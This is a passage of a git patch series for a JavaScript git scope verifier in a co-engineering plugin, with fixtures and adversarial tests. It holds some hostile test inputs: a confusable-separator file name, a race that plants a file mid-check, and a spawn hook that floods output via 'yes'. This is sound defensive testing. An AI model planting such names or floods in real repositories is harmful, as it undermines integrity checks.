request.identity_request.run_id, + assignment_id: request.identity_request.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +export async function verifyScopeV1(input, options) { + const request = parseScopeVerifierRequestV1(input); + const parsedOptions = parseOptions(options); + const pathLabel = 'scope'; + const livePre = await verifyGitIdentityV1(request.identity_request, parsedOptions); + assertLiveIdentity(request.identity, livePre, `${pathLabel}.identity`); + const session = createSession(parsedOptions.spawn); + const repositoryPath = livePre.observation.repository_path; + const gitDir = livePre.observation.git_dir; + const flags = repoFlags(repositoryPath, gitDir); + const pre = await observeScope( + session, flags, livePre.observation.base_sha, livePre.observation.head_sha, pathLabel, + ); + const livePost = await verifyGitIdentityV1(request.identity_request, parsedOptions); + assertLiveIdentity(request.identity, livePost, `${pathLabel}.identity`); + const post = await observeScope( + session, flags, livePost.observation.base_sha, livePost.observation.head_sha, pathLabel, + ); + if (pre.fingerprint !== post.fingerprint + || identityFingerprint(livePre) !== identityFingerprint(livePost)) { + fail('observation_race', pathLabel, `${pathLabel} observed a git identity or worktree race.`); + } + const durationMs = durationOf(session, pathLabel); + const observation = freezeRecord(SCOPE_OBSERVATION_ALLOWED_KEYS, { + repository_path: repositoryPath, + git_dir: gitDir, + base_sha: livePost.observation.base_sha, + head_sha: livePost.observation.head_sha, + access: request.access, + parent_count: post.parent_count, + new_commit_count: post.new_commit_count, + path_count: post.path_count, + path_set_digest: post.path_set_digest, + rename_count: post.rename_count, + copy_count: post.copy_count, + dirty: post.dirty, + duration_ms: durationMs, + }); + const inputDigest = digestCanonical({ + repository: request.identity_request.repository, + expected_base_ref: request.identity_request.expected_base_ref, + candidate_head_sha: request.identity_request.candidate_head_sha, + access: request.access, + write_scope: request.write_scope, + }); + const outputDigest = digestCanonical(observation); + if (!PRIVATE_SHA256_PATTERN.test(inputDigest) || !PRIVATE_SHA256_PATTERN.test(outputDigest)) { + fail('git_execution_failed', pathLabel, `${pathLabel} could not bind observation digests.`); + } + let ownedMismatch = false; + let overlap = false; + if (request.access === 'writer') { + for (let index = 0; index < post.paths.length; index += 1) { + const pathname = post.paths[index]; + if (!pathMatchesAny(pathname, request.compiled_write_scope, `${pathLabel}.diff`)) { + ownedMismatch = true; + } + for (let other = 0; other < request.other_write_scopes.length; other += 1) { + if (pathMatchesAny( + pathname, request.other_write_scopes[other].compiled, `${pathLabel}.diff`, + )) { + overlap = true; + } + } + } + } + const discrepancies = []; + const pushDiscrepancy = (id, kind, code, factIds) => { + const sequence = request.identity_request.sequence + discrepancies.length; + if (sequence > MAX_SEQUENCE) return; + try { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, kind, code, request, factIds, sequence), + ]); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'out_of_range') return; + throw error; + } + }; + const diffFactId = 'git-diff'; + const headFactId = 'head-sha'; + if (post.merge) { + pushDiscrepancy('merge-commit', 'integrity', 'artifact_integrity_failure', [headFactId]); + } + if (request.access === 'read_only' && (post.path_count > 0 || post.dirty + || livePost.observation.head_sha !== livePost.observation.base_sha)) { + pushDiscrepancy('read-only-mutation', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (ownedMismatch) { + pushDiscrepancy('scope-mismatch', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (overlap) { + pushDiscrepancy('scope-overlap', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (post.symlink) { + pushDiscrepancy('symlink-change', 'security', 'security_boundary', [diffFactId]); + } + if (post.gitlink) { + pushDiscrepancy('submodule-change', 'security', 'security_boundary', [diffFactId]); + } + if (post.type_change) { + pushDiscrepancy('type-change', 'security', 'security_boundary', [diffFactId]); + } + const verified = discrepancies.length === 0 + && (request.access !== 'read_only' || post.path_count === 0) + && (request.access !== 'writer' || !ownedMismatch) + && post.merge !== true; + const status = verified ? 'verified' : 'failed'; + const diffMethod = request.access === 'read_only' ? 'read_only_no_changes' : 'scope_match'; + const facts = capturedFreeze([ + emitFact( + 'git_diff', diffMethod, request, inputDigest, outputDigest, status, + { path_count: post.path_count, path_set_digest: post.path_set_digest }, + durationMs, + ), + emitFact( + 'head_sha', 'merge_commit_absence', request, inputDigest, outputDigest, status, + { sha: request.identity_request.candidate_head_sha }, + durationMs, + ), + ]); + const result = freezeRecord(SCOPE_RESULT_ALLOWED_KEYS, { + schema: SCOPE_VERIFIER_SCHEMA_ID, + version: SCOPE_VERIFIER_VERSION, + status, + facts, + discrepancies: capturedFreeze(discrepancies), + observation, + }); + assertDeadline(session, pathLabel); + return result; +} + +OBJECT_FREEZE(SCOPE_VERIFIER_ERROR_CODES); From 95049bcce486e2cdc8f37f20094ddb52d0f906ef Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:15:30 +0000 Subject: [PATCH 60/81] test(verify): cover ownership, merge, unicode, and observation races Add disposable P15 fixtures and tests for in-scope mutations, overlap, read-only dirt, merge history, symlink/gitlink/type-change, NFC versus confusable paths, untracked state, and pre/post observation races. --- .../fixtures/r1-scope-verifier-fixtures.mjs | 390 ++++++++++++++++++ .../r1-scope-verifier-adversarial.test.mjs | 375 +++++++++++++++++ .../test/r1-scope-verifier.test.mjs | 351 ++++++++++++++++ 3 files changed, 1116 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs new file mode 100644 index 0000000..8ebeca1 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs @@ -0,0 +1,390 @@ +// Disposable repository fixtures for W16-P15 scope, read-only, and +// merge-commit verification. Construction uses argv git only; the product +// verifier is never imported here so forged histories and hostile paths +// stay parent-failing until the verifier module exists. + +import { spawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +export const RUN_ID = 'run-scope-verify-01'; +export const ASSIGNMENT_ID = 'lane-writer'; +export const READ_ONLY_ASSIGNMENT_ID = 'lane-verify'; +export const OTHER_ASSIGNMENT_ID = 'lane-other'; +export const BASE_REF = 'refs/heads/main'; +export const WRITE_SCOPE = Object.freeze(['src/**']); +export const OTHER_WRITE_SCOPE = Object.freeze(['docs/**']); + +const GIT = '/usr/bin/git'; +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P15 Fixture', + GIT_AUTHOR_EMAIL: 'p15@example.test', + GIT_COMMITTER_NAME: 'P15 Fixture', + GIT_COMMITTER_EMAIL: 'p15@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function identityRequest(repo, overrides = {}) { + return { + repository: { + path: overrides.path ?? repo.path, + base_sha: overrides.base_sha ?? repo.baseSha, + }, + expected_base_ref: overrides.expected_base_ref ?? BASE_REF, + candidate_head_sha: overrides.candidate_head_sha ?? overrides.head_sha ?? repo.headSha, + run_id: overrides.run_id ?? RUN_ID, + assignment_id: overrides.assignment_id ?? ASSIGNMENT_ID, + sequence: overrides.sequence ?? 0, + }; +} + +export function scopeRequest(repo, identity, overrides = {}) { + const request = { + identity_request: overrides.identity_request ?? identityRequest(repo, overrides), + identity, + access: overrides.access ?? 'writer', + write_scope: overrides.write_scope ?? [...WRITE_SCOPE], + other_write_scopes: overrides.other_write_scopes ?? [], + }; + for (const key of Object.keys(overrides)) { + if (key === 'path' || key === 'base_sha' || key === 'head_sha' + || key === 'identity_request' || key === 'expected_base_ref' + || key === 'candidate_head_sha' || key === 'run_id' + || key === 'assignment_id' || key === 'sequence') { + continue; + } + request[key] = overrides[key]; + } + return request; +} + +function runFixtureGit(cwd, args, env = FIXTURE_ENV) { + return new Promise((resolve, reject) => { + const child = spawn(GIT, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + error.code = code; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function emptyRepo(prefix) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function writeAndAdd(root, relative, contents) { + const target = path.join(root, relative); + await mkdir(path.dirname(target), { recursive: true }); + await writeFile(target, contents, 'utf8'); + await runFixtureGit(root, ['add', '--', relative]); +} + +async function commit(root, message) { + await runFixtureGit(root, ['commit', '-m', `${message} ${root}`]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createInScopeWriterRepo() { + const root = await emptyRepo('p15-inscope-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/added.txt', 'added\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['src/added.txt'] } }); +} + +export async function createOutOfScopeWriterRepo() { + const root = await emptyRepo('p15-outofscope-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'docs/secret.txt', 'secret\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['docs/secret.txt'] } }); +} + +export async function createReadOnlyUnchangedRepo() { + const root = await emptyRepo('p15-readonly-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + return wrap(root, { baseSha, headSha: baseSha, extra: {} }); +} + +export async function createReadOnlyMutatedRepo() { + const repo = await createInScopeWriterRepo(); + return repo; +} + +export async function createRenameInScopeRepo() { + const root = await emptyRepo('p15-rename-'); + await writeAndAdd(root, 'src/old.txt', 'rename-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['mv', '--', 'src/old.txt', 'src/new.txt']); + const headSha = await commit(root, 'rename'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { from: 'src/old.txt', to: 'src/new.txt' } }); +} + +export async function createRenameEscapingRepo() { + const root = await emptyRepo('p15-rename-escape-'); + await writeAndAdd(root, 'src/old.txt', 'escape-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await mkdir(path.join(root, 'docs'), { recursive: true }); + await runFixtureGit(root, ['mv', '--', 'src/old.txt', 'docs/escaped.txt']); + const headSha = await commit(root, 'escape'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, headSha, extra: { from: 'src/old.txt', to: 'docs/escaped.txt' }, + }); +} + +export async function createCopyInScopeRepo() { + const root = await emptyRepo('p15-copy-'); + await writeAndAdd(root, 'src/original.txt', 'unique-copy-blob-p15-0123456789\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/copied.txt', 'unique-copy-blob-p15-0123456789\n'); + const headSha = await commit(root, 'copy'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { from: 'src/original.txt', to: 'src/copied.txt' } }); +} + +export async function createDeletionInScopeRepo() { + const root = await emptyRepo('p15-delete-'); + await writeAndAdd(root, 'src/gone.txt', 'delete-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['rm', '--', 'src/gone.txt']); + const headSha = await commit(root, 'delete'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { deleted: 'src/gone.txt' } }); +} + +export async function createOverlapRepo() { + const root = await emptyRepo('p15-overlap-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'docs/taken.txt', 'overlap\n'); + const headSha = await commit(root, 'overlap'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['docs/taken.txt'] } }); +} + +export async function createMergeCommitRepo() { + const root = await emptyRepo('p15-merge-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['checkout', '-b', 'candidate']); + await runFixtureGit(root, ['checkout', '-b', 'topic']); + await writeAndAdd(root, 'src/topic.txt', 'topic\n'); + await commit(root, 'topic'); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/mainline.txt', 'mainline\n'); + await commit(root, 'mainline'); + await runFixtureGit(root, [ + 'merge', '--no-ff', '--no-edit', '-m', `merge ${root}`, 'topic', + ]); + const headSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: {} }); +} + +export async function createHistoricalMergeRepo() { + const merge = await createMergeCommitRepo(); + await runFixtureGit(merge.path, ['checkout', 'candidate']); + await writeAndAdd(merge.path, 'src/after-merge.txt', 'later\n'); + const headSha = await commit(merge.path, 'after-merge'); + await runFixtureGit(merge.path, ['checkout', 'main']); + merge.headSha = headSha; + merge.extra = { ...merge.extra, after: 'src/after-merge.txt' }; + return merge; +} + +export async function createSymlinkRepo() { + const root = await emptyRepo('p15-symlink-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await symlink('keep.txt', path.join(root, 'src', 'link.txt')); + await runFixtureGit(root, ['add', '--', 'src/link.txt']); + const headSha = await commit(root, 'symlink'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { link: 'src/link.txt' } }); +} + +export async function createGitlinkRepo() { + const root = await emptyRepo('p15-gitlink-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, [ + 'update-index', '--add', '--cacheinfo', `160000,${baseSha},src/vendor`, + ]); + const headSha = await commit(root, 'gitlink'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { gitlink: 'src/vendor' } }); +} + +export async function createTypeChangeRepo() { + const root = await emptyRepo('p15-typechange-'); + await writeAndAdd(root, 'src/file.txt', 'plain\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['rm', '--', 'src/file.txt']); + await mkdir(path.join(root, 'src'), { recursive: true }); + await symlink('keep-target', path.join(root, 'src', 'file.txt')); + await runFixtureGit(root, ['add', '--', 'src/file.txt']); + const headSha = await commit(root, 'typechange'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: 'src/file.txt' } }); +} + +export async function createUnicodeNfcRepo() { + const root = await emptyRepo('p15-nfc-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const nfcName = 'src/caf\u00e9.txt'; + await writeAndAdd(root, nfcName, 'nfc\n'); + const headSha = await commit(root, 'nfc'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: nfcName } }); +} + +export async function createNonNfcRepo() { + const root = await emptyRepo('p15-nfd-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const nfdName = 'src/cafe\u0301.txt'; + await writeAndAdd(root, nfdName, 'nfd\n'); + const headSha = await commit(root, 'nfd'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: nfdName } }); +} + +export async function createConfusableSeparatorRepo() { + const root = await emptyRepo('p15-confusable-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const hostile = `src/look${String.fromCodePoint(0x2215)}alike.txt`; + await writeAndAdd(root, hostile, 'confusable\n'); + const headSha = await commit(root, 'confusable'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: hostile } }); +} + +export async function createUntrackedInScopeRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'src', 'scratch.txt'), 'untracked\n', 'utf8'); + repo.extra = { ...repo.extra, untracked: 'src/scratch.txt' }; + return repo; +} + +export async function createUntrackedOutOfScopeRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'docs', 'scratch.txt'), 'untracked\n', 'utf8'); + repo.extra = { ...repo.extra, untracked: 'docs/scratch.txt' }; + return repo; +} + +export async function createStagedUntrackedMixRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'src', 'staged.txt'), 'staged\n', 'utf8'); + await runFixtureGit(repo.path, ['add', '--', 'src/staged.txt']); + repo.extra = { ...repo.extra, staged: 'src/staged.txt' }; + return repo; +} + +export { runFixtureGit }; diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs new file mode 100644 index 0000000..57fd616 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs @@ -0,0 +1,375 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { writeFileSync } from 'node:fs'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_SCOPE_OUTPUT_BYTES, + parseScopeVerifierRequestV1, + verifyScopeV1, +} from '../mcp/v3/scope-verifier.mjs'; +import { + OTHER_ASSIGNMENT_ID, + READ_ONLY_ASSIGNMENT_ID, + countingProxy, + createConfusableSeparatorRepo, + createGitlinkRepo, + createHistoricalMergeRepo, + createInScopeWriterRepo, + createMergeCommitRepo, + createNonNfcRepo, + createOutOfScopeWriterRepo, + createRenameEscapingRepo, + createSymlinkRepo, + createTypeChangeRepo, + createUntrackedOutOfScopeRepo, + identityRequest, + scopeRequest, + trapTotal, +} from './fixtures/r1-scope-verifier-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function assertContentFree(error, ...needles) { + const blob = `${error.code}\n${error.path}\n${error.message}`; + for (const needle of needles) { + assert.equal(blob.includes(needle), false, needle); + } +} + +async function identityOf(repo, overrides = {}) { + return verifyGitIdentityV1(identityRequest(repo, overrides)); +} + +test('live proxies are denied with zero traps on the request surface', async () => { + const { proxy, counts } = countingProxy({ + identity_request: identityRequest({ + path: '/tmp/cce-r1-scope-repo', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40), + }), + identity: {}, + access: 'writer', + write_scope: ['src/**'], + other_write_scopes: [], + }); + assert.equal((await errorOf(() => parseScopeVerifierRequestV1(proxy))).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', async () => { + const { proxy, revoke } = Proxy.revocable({ + identity_request: identityRequest({ + path: '/tmp/cce-r1-scope-repo', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40), + }), + identity: {}, + access: 'writer', + write_scope: ['src/**'], + other_write_scopes: [], + }, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = await errorOf(() => parseScopeVerifierRequestV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const input = scopeRequest(repo, identity); + let reads = 0; + Object.defineProperty(input, 'access', { + enumerable: true, + get() { + reads += 1; + return 'writer'; + }, + }); + const error = await errorOf(() => parseScopeVerifierRequestV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('unverified or mismatched P14 identity is not treated as authority', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const failed = { + ...identity, + status: 'failed', + discrepancies: [{ + discrepancy_id: 'stale-base', + discrepancy_kind: 'integrity', + status: 'recorded', + code: 'artifact_integrity_failure', + run_id: identity.facts[0].run_id, + assignment_id: identity.facts[0].assignment_id, + sequence: 0, + claim_ids: [], + fact_ids: ['git-identity'], + artifact_digests: [], + }], + }; + assert.equal((await errorOf(() => parseScopeVerifierRequestV1( + scopeRequest(repo, failed), + ))).code, 'unverified_identity'); + + const mismatched = { + ...identity, + observation: { ...identity.observation, head_sha: 'c'.repeat(40) }, + }; + assert.equal((await errorOf(() => parseScopeVerifierRequestV1( + scopeRequest(repo, mismatched), + ))).code, 'identity_mismatch'); +}); + +test('provider claims cannot be supplied as scope authority', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const error = await errorOf(() => parseScopeVerifierRequestV1({ + ...scopeRequest(repo, identity), + claims: [{ claim_kind: 'files_changed', path_count: 1 }], + })); + assert.equal(error.code, 'unknown_key'); +}); + +test('merge commits and later commits on merged history fail closed', async (t) => { + const merge = await createMergeCommitRepo(); + t.after(() => merge.cleanup()); + const mergeIdentity = await identityOf(merge); + const mergeResult = await verifyScopeV1(scopeRequest(merge, mergeIdentity)); + assert.equal(mergeResult.status, 'failed'); + assert.equal(discrepancyIds(mergeResult).includes('merge-commit'), true); + parseEvidenceDiscrepancyV1({ ...mergeResult.discrepancies[0] }); + parseVerifiedFactV1({ ...mergeResult.facts[1] }); + + const historical = await createHistoricalMergeRepo(); + t.after(() => historical.cleanup()); + const historicalIdentity = await identityOf(historical); + const historicalResult = await verifyScopeV1(scopeRequest(historical, historicalIdentity)); + assert.equal(historicalResult.status, 'failed'); + assert.equal(discrepancyIds(historicalResult).includes('merge-commit'), true); +}); + +test('symlink, gitlink, and type-change operations fail as security discrepancies', async (t) => { + const linked = await createSymlinkRepo(); + t.after(() => linked.cleanup()); + const linkedIdentity = await identityOf(linked); + const linkedResult = await verifyScopeV1(scopeRequest(linked, linkedIdentity)); + assert.equal(linkedResult.status, 'failed'); + assert.equal(discrepancyIds(linkedResult).includes('symlink-change'), true); + + const gitlink = await createGitlinkRepo(); + t.after(() => gitlink.cleanup()); + const gitlinkIdentity = await identityOf(gitlink); + const gitlinkResult = await verifyScopeV1(scopeRequest(gitlink, gitlinkIdentity)); + assert.equal(gitlinkResult.status, 'failed'); + assert.equal(discrepancyIds(gitlinkResult).includes('submodule-change'), true); + + const typeChange = await createTypeChangeRepo(); + t.after(() => typeChange.cleanup()); + const typeIdentity = await identityOf(typeChange); + const typeResult = await verifyScopeV1(scopeRequest(typeChange, typeIdentity)); + assert.equal(typeResult.status, 'failed'); + const typeIds = discrepancyIds(typeResult); + assert.equal(typeIds.includes('type-change') || typeIds.includes('symlink-change'), true); +}); + +test('renames that escape the owned scope fail as a mismatch', async (t) => { + const repo = await createRenameEscapingRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + const blob = JSON.stringify(result); + assert.equal(blob.includes('escaped.txt'), false); +}); + +test('non-NFC and confusable separator paths fail closed without echoing bytes', async (t) => { + const nfd = await createNonNfcRepo(); + t.after(() => nfd.cleanup()); + const nfdIdentity = await identityOf(nfd); + const nfdError = await errorOf(() => verifyScopeV1(scopeRequest(nfd, nfdIdentity))); + assert.equal(nfdError.code, 'hostile_name_denied'); + assertContentFree(nfdError, nfd.extra.path, '\u0301', 'cafe'); + + const confusable = await createConfusableSeparatorRepo(); + t.after(() => confusable.cleanup()); + const confusableIdentity = await identityOf(confusable); + const confusableError = await errorOf( + () => verifyScopeV1(scopeRequest(confusable, confusableIdentity)), + ); + assert.equal(confusableError.code, 'hostile_name_denied'); + assertContentFree( + confusableError, confusable.extra.path, String.fromCodePoint(0x2215), 'look', + ); +}); + +test('untracked files outside the owned scope fail as a mismatch', async (t) => { + const repo = await createUntrackedOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(JSON.stringify(result).includes('scratch.txt'), false); +}); + +test('pre/post observation races fail closed', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + let statusCount = 0; + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + if (Array.isArray(args) && args.includes('status')) { + statusCount += 1; + if (statusCount === 2) { + writeFileSync(`${repo.path}/src/raced.txt`, 'race\n'); + } + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'observation_race'); + assertContentFree(error, 'raced.txt', 'src/raced.txt'); +}); + +test('output bounds kill hostile git writers without reflecting content', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + let calls = 0; + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + calls += 1; + if (Array.isArray(args) && args.includes('diff-tree')) { + return nodeSpawn('/usr/bin/yes', ['x'.repeat(64)], { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + }); + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'bounds_exceeded'); + assert.equal(error.message.includes('x'.repeat(16)), false); + assert.ok(MAX_SCOPE_OUTPUT_BYTES > 4096); + assert.ok(calls > 0); +}); + +test('injected child stream accessors fail closed without native errors', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const request = scopeRequest(repo, identity); + function afterIdentity(hostileChild) { + let calls = 0; + return (command, args, options) => { + calls += 1; + if (calls < 8) return nodeSpawn(command, args, options); + if (Array.isArray(args) && args.includes('diff-tree')) return hostileChild; + 